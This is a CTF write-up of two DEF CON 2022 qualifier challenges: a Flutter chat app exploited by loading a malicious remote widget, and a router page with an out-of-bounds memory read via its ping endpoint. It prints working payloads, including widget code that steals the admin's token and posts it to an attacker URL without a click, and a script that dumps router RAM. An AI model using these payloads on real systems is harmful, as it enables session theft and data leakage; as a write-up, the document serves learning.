DEF CON CTF 2022 Qualifiers

I played this CTF with Tea MSG, and we got 26th place - not too shabby!

I attempted and contributed to solving Discoteq and Router-ni.

Discoteq [100]

Credits

Thanks to Ocean, quanyang, kokrui and waituck for the great teamwork here!👍

TL;DR

This was a Flutter-based chat application where we could send the admin any message that he would read. By manipulating Websocket requests, we could make the client load a malicious remote Flutter widget that would steal the admin's token and send it back to us.

Initial Observations

I was new to Flutter, so some time was spent analysing the main.dart.js, which is the Flutter app compiled by dart2js.

Although we can't view it from our end, we could see that there is an AdminPage, and a /api/flag endpoint that is fetched using postRequestWithCookies.

It might help to find some other sensitive endpoints. In LoginPage, we could see that there is a /api/token endpoint. This endpoint returns our current authentication token.

Now, let's take a look at the application itself! The goal was to send an exploit to the admin#13371337 user. There were two main features - sending a normal message and sending a poll.

When sending a poll, I noticed that there were some very suspicious parameters in the WebSocket message. By modifying the apiGet and apiVote paths, we get a callback on our server!

{
    "type":"widget",
    "widget":"/widget/poll",
    "author":{
        "user":"test#9b808596",
        "platform":"web"
    },
    "recipients":["admin#13371337"],
    "data":{
        "title":"test",
        "apiGet":"@ATTACKER_URL",
        "apiVote":"@ATTACKER_URL"
    }
}

The widget, apiGet, and apiVote paths are appended to the base URL without sanitization - so using @ATTACKER_URL causes the following URL to be constructed:

http://BASE_URL@ATTACKER_URL

I tried some XSS payloads, hoping that the poll wasn't sanitized. Alas, a Flutter web app is entirely rendered on a <canvas>, so rendering unescaped HTML was hopeless.

I then tried to manipulate the widget parameter instead.

{
    "type":"widget",
    "widget":"@ATTACKER_URL/test",
    "author":{
        "user":"abcd#c7e80dd5",
        "platform":"web"
    },
    "recipients":["admin#13371337"],
    "data":{
        "message":"test"
    }
}

Aha! This causes a traceback!

Note: to avoid CORS issues, use the Access-Control-Allow-Origin: * header. For example, in Flask:

@app.after_request
def after_request(response):
  response.headers['Access-Control-Allow-Methods']='*'
  response.headers['Access-Control-Allow-Origin']='*'
  response.headers['Vary']='Origin'
  return response

What Even Is a Remote Flutter Widget?!

Ok so umm... I couldn't find this file signature anywhere, so the first step is to figure out what file format the file is expected to be in. We could download the original /widget/chatmessage widget and take a look:

This definitely contains styling and content information, but it isn't in an easily editable format.

At this point my teammate kokrui found that this file was compiled with a package called Remote Flutter Widgets, which allows the loading of widgets hosted on external servers.

By following the examples on GitHub, we could decode the chatmessage widget.

import 'dart:convert';
import 'dart:io';
import 'dart:typed_data';

import 'package:rfw/formats.dart';

void main() {
  final Uint8List test = File('chatmessage.rfw').readAsBytesSync();
  var out = decodeLibraryBlob(test);
  print(out);
}

Ocean also found the pollmessage and imagemessage widgets.

There is rather limited documentation and examples of the RFW syntax, so I followed the parseLibraryFile documentation, which seems to provide the most examples.

We tried various things, including this futile attempt to call the Clipboard_getData function we found in main.dart.js.

import core.widgets;
import local;

widget root = Container(
  color: 0xFFF,
  child: Center(
    child: Text(text: [
      "Hello, ", 
      data.author.user, 
      Clipboard_getData(format: "text/plain"), 
      " this is working!!"
    ], textDirection: "ltr"),
  ),
);

onLoaded: Flag Please

Taking a closer look at poll.dart gave us some ideas.

// poll widget
import core.widgets;
import core.material;
import local;

widget root = Container({
  child: Column({
    children: [
      
      ...
      
      switch state.loaded {
        true: Column({
          children: [...for loop in data.poll_options:
            Row({
              children: [
                Padding({
                  child: ElevatedButton({
                    child: Text({
                      text: loop0.text
                    }),
                    onPressed: event api_post {
                      path: data.data.apiVote,
                      body: {selection: loop0.text}
                    }
                  }),
                  padding: [0.0, 5.0, 10.0, 0.0]
                }),
                Text({
                  text: loop0.count
                })
              ]}),
            
            ...
            
          ]
        }),
      null: ApiMapper({
        url: data.data.apiGet,
        jsonKey: options,
        dataKey: poll_options,
        onLoaded: set state.loaded = true
      })
    }]
  })

Notice that ApiMapper makes a GET request to the specified apiGet URL. The response data is then saved in data.<dataKey>, as we can see from the loop accessing data.poll_options.

Further, the onPressed event handler, api_post, seemingly provides a mechanism for us to exfiltrate our data.

For example, the following will fetch the poll options and exfiltrate them to example.com.

import core.widgets;
import core.material;
import local;

widget root { loaded: false } = Container(
  color: 0xFFF,
  child:
      switch state.loaded {
        true: 
          TextButton(
            child: Text(
              text: "HI",
            ),
            onPressed: event "api_post" {
              path: "@example.com",
              body: {
                selection: data.apiData
              }
            }
          ),
        false:
          ApiMapper(
            url: "/api/poll/options?poll=4b06175d-7f78-44b1-a132-183d6707a33a",
            jsonKey: "options",
            dataKey: "apiData",
            onLoaded: set state.loaded = true
          )
      }
);

There were still a few problems with this, though. The /api/flag endpoint requires a POST request, and ApiMapper only does GET requests. Additionally, we needed to make this zero-click.

The first part was simple enough - we just needed to steal the admin's token to authenticate as the admin, so something like this works:

ApiMapper(
    url: '/api/token',
    jsonKey: 'new_token',
    dataKey: 'token',
    onLoaded: set state.loaded = true
)

Next, the onLoaded event handler could be used to trigger the api_post event for zero-click exfiltration. But this was a bit iffy and only worked in some scenarios, such as the following one.

import local;
import core.widgets;

widget root { loaded: false }= Container(
    child:
      switch state.loaded {
          true:
              Column(
                children: [
                  Row(children: 
                    Center(children:
                      [
                        Text(text: data.token, textDirection: "ltr"),
                      ]
                    )
                  ),
                  ApiMapper(
                    url: '/api/token',
                    jsonKey: 'new_token',
                    dataKey: 'token',
                    onLoaded: event 'api_post' {
                      path: '@ATTACKER_URL',
                      body: {selection: data.token}
                    }
                  )
                ]
              ),
          false:
              ApiMapper(
                  url: '/api/token',
                  jsonKey: 'new_token',
                  dataKey: 'token',
                  onLoaded: set state.loaded = true
              )
      }
    
);

For example, here's me getting my own token.

After getting the admin's token, we just needed to get the flag from /api/flag.

Router-ni [81]

Credits

Thanks to Lord_Idiot, waituck, bbbb and Gladiator for working on this challenge! 🎉

TL;DR

The webpage provides an interface to a router, which includes a ping functionality.

Using the /ping?id= endpoint, we get the base64-encoded result of each ping request. Using a sufficiently large id, we could get an out-of-bound memory read.

Solution

By enumerating the id, we would find that the ID range that corresponds to the router's RAM is from 18446744073709551463 to 18446744073709551615. We could dump out the entire RAM this way.

import requests
import base64

URL = "http://router-mlb4ta7v3lwam.shellweplayaga.me:31337/ping?id="
cookies = {'password': 'admin', 'username': 'admin'}

id = 18446744073709551463
decoded = b""

for i in range(152):
    r = requests.get(f"{URL}{id+i}", cookies=cookies)
    data = r.json()
    res = data["result"]
    decoded += base64.b64decode(res)

with open("out.bin", "wb+") as f:
    f.write(decoded)

We would find the following string:

and guess that the flag is

FLAG{r0uter_p0rtals_are_ultimately_impenetrable_because_they_are_real_weird}